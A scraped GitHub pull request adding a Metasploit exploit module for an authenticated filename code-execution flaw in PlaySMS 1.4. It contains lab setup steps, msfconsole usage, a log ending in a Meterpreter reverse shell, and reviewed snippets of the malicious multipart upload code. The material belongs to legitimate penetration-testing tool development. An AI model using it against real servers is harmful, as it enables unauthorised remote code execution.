playsms_filename_exec.rb #9944

touhidshaikh · 2018-04-27T19:52:40Z

Description

this Module exploits a Authenticated File Upload and In filename parameter have Remote Code Excution Vulnerability in PlaySMS Version 1.4. This issue is caused by improper File name handling in sendfromfile.php file. Authenticated Users can upload a file and rename file name with a malicious payload. Additional information and vulnerabilities can be viewed on Exploit-DB 42044)
NOTE : This Module is already PULLED but for some reason closed by author Check #9840

Vulnerable Application

Available at Exploit-DB

Vulnerable Application Installation Setup.

Download Application : wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz

Extract : tar -xvf 577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz

Move In WebDirectory : mv playsms-1.4/web/* /var/www/html/

make config file: cp /var/www/html/config-dist.php /var/www/html/config.php

Change Owner : chown -R www-data:www-data /var/www/html/

Set DB creds in config.php File. And dump playsms-1.4/db/playsms.sql in your playsms database.

Now Visit : http://localhost/

Verification Steps

Install the application
Start msfconsole
Do: use exploit/multi/http/playsms_filename_exec
Do: set rport <port>
Do: set rhost <ip>
Do: set targeturi SecreTSMSgatwayLogin
Do: set username touhid
Do: set password diana
Do: check

[*] 10.22.1.10:80 The target appears to be vulnerable.

Do: set lport <port>
Do: set lhost <ip>
Do: exploit
You should get a shell.

Scenarios

Playsms on Ubuntu Linux

msf exploit(multi/http/playsms_filename_exec) > run                                                                                    
                                                                                                                                       
[*] Started reverse TCP handler on 10.22.1.3:4444                                                                                      
[+] X-CSRF-Token for login : 13bce9776cfc270a3779e8b557330cc2                                                                          
[*] Trying to Login ......                                                                                                             
[+] Authentication successful : [ touhid:diana ]                                                                                       
[+] X-CSRF-Token for upload : 2780d48dc11a482a58d8a95ad873c6cc                                                                         
[*] Trying to upload file with malicious Filename Field....                                                                            
[*] Sending stage (37775 bytes) to 10.22.1.15                                                                                          
[*] Sleeping before handling stage...                                                                                                  
[*] Meterpreter session 1 opened (10.22.1.3:4444 -> 10.22.1.15:38814) at 2018-04-08 13:45:34 +0530                                     
                                                                                                                                       
meterpreter >

PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution

doc update

touhidshaikh · 2018-04-28T14:15:56Z

hey @bcoles , i have added Doc.

jrobles-r7

Review comments. Also, please change the indentation from 4 spaces to 2 spaces to follow the style guide.

jrobles-r7 · 2018-05-04T14:56:41Z

modules/exploits/multi/http/playsms_filename_exec.rb

+                'DarkS3curity' # Metasploit Module
+            ],
+        'License' => MSF_LICENSE,
+        'References' =>


Add CVE reference
CVE-2017-9080

jrobles-r7 · 2018-05-04T14:57:39Z

documentation/modules/exploit/multi/http/playsms_filename_exec.md

+  12. Do: `exploit`
+  13. You should get a shell.
+
+## Options


The Options section can probably be removed in this case.

jrobles-r7 · 2018-05-04T14:59:06Z

modules/exploits/multi/http/playsms_filename_exec.rb

+        # setup POST request.
+        post_data = Rex::MIME::Message.new
+        post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token
+        post_data.add_part("agent22", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"")  # payload


Can the data agent22 be randomized or is that required?
Same question for fncsv.

jrobles-r7 · 2018-05-04T14:59:26Z

modules/exploits/multi/http/playsms_filename_exec.rb

+        post_data = Rex::MIME::Message.new
+        post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token
+        post_data.add_part("agent22", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"")  # payload
+        post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"')  # extra


Can fncsv_dup be randomized?

jrobles-r7 · 2018-05-04T14:59:46Z

modules/exploits/multi/http/playsms_filename_exec.rb

+        post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"')  # extra
+        data = post_data.to_s
+
+        print_status('Trying to upload file with malicious Filename Field....')


Consider changing to vprint_status.

remove options sections

added CVE, URL and done randomizing content

touhidshaikh · 2018-05-04T15:32:53Z

hey @jrobles-r7, thanks for the review and giving suggestions. I have made changes according to your suggestions. 👍

print_status to vprint_status

indentation and fix CVE

jrobles-r7 · 2018-05-07T12:55:59Z

Release Notes

The PlaySMS module exploits a code injection vulnerability within an authenticated file upload feature in PlaySMS v1.4. This issue is caused by improper file name handling in sendfromfile.php file. Authenticated Users can upload a file and rename the file with a malicious payload.

playsms_filename_exec.rb

ce099ae

PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution

bcoles added module needs-docs labels Apr 27, 2018

playsms_filename_exec.md

d01a664

doc update

bcoles added docs and removed needs-docs labels Apr 28, 2018

jrobles-r7 self-assigned this May 4, 2018

jrobles-r7 reviewed May 4, 2018

View reviewed changes

touhidshaikh added 2 commits May 4, 2018 20:42

updated

14b18cc

remove options sections

updated

e824f0f

added CVE, URL and done randomizing content

touhidshaikh and others added 4 commits May 4, 2018 21:13

updated

aa69fc9

print_status to vprint_status

updated

71d6841

indentation and fix CVE

Fix indentation, update documentation

4b8ceab

store credentials

601411f

jrobles-r7 merged commit 601411f into rapid7:master May 7, 2018

jrobles-r7 added a commit that referenced this pull request May 7, 2018

Land #9944, playsms_filename_exec.rb

222b1fb

msjenkins-r7 pushed a commit that referenced this pull request May 7, 2018

Land #9944, playsms_filename_exec.rb

75196b4

touhidshaikh deleted the playsms-flename-rce branch May 8, 2018 15:01

tdoan-r7 added the rn-exploit label May 17, 2018

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

playsms_filename_exec.rb #9944

playsms_filename_exec.rb #9944

touhidshaikh commented Apr 27, 2018 •

edited

touhidshaikh commented Apr 28, 2018

jrobles-r7 left a comment

jrobles-r7 May 4, 2018

jrobles-r7 May 4, 2018

jrobles-r7 May 4, 2018

jrobles-r7 May 4, 2018

jrobles-r7 May 4, 2018

touhidshaikh commented May 4, 2018

jrobles-r7 commented May 7, 2018 •

edited by tdoan-r7

playsms_filename_exec.rb #9944

playsms_filename_exec.rb #9944

Conversation

touhidshaikh commented Apr 27, 2018 • edited

Description

Vulnerable Application

Vulnerable Application Installation Setup.

Verification Steps

Scenarios

Playsms on Ubuntu Linux

touhidshaikh commented Apr 28, 2018

jrobles-r7 left a comment

Choose a reason for hiding this comment

jrobles-r7 May 4, 2018

Choose a reason for hiding this comment

jrobles-r7 May 4, 2018

Choose a reason for hiding this comment

jrobles-r7 May 4, 2018

Choose a reason for hiding this comment

jrobles-r7 May 4, 2018

Choose a reason for hiding this comment

jrobles-r7 May 4, 2018

Choose a reason for hiding this comment

touhidshaikh commented May 4, 2018

jrobles-r7 commented May 7, 2018 • edited by tdoan-r7

Release Notes

touhidshaikh commented Apr 27, 2018 •

edited

jrobles-r7 commented May 7, 2018 •

edited by tdoan-r7